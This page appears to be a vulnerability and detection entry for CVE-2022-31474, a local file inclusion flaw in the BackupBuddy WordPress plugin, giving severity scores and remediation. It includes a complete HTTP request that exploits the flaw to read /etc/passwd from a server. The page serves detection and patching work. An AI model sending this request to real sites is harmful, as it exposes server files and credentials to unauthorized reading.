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CVE-2022-31474: BackupBuddy - Local File Inclusion

TitleBackupBuddy - Local File Inclusion
Authoraringo
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.
RemediationUpgrade to at least version 8.7.5 or higher
CVSS Score7.5
EPSS Score0.92613
CVE IDCVE-2022-31474
CWE IDCWE-22
Tags cve cve2022 wordpress wp-plugin wp lfi backupbuddy ithemes vkev vuln

🔍 Vulnerability Description

BackupBuddy versions 8.5.8.0 - 8.7.4.1 are vulnerable to a local file inclusion vulnerability via the ‘download’ and ‘local-destination-id’ parameters.

🌐 HTTP Request

GET /wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31474.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-31474.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A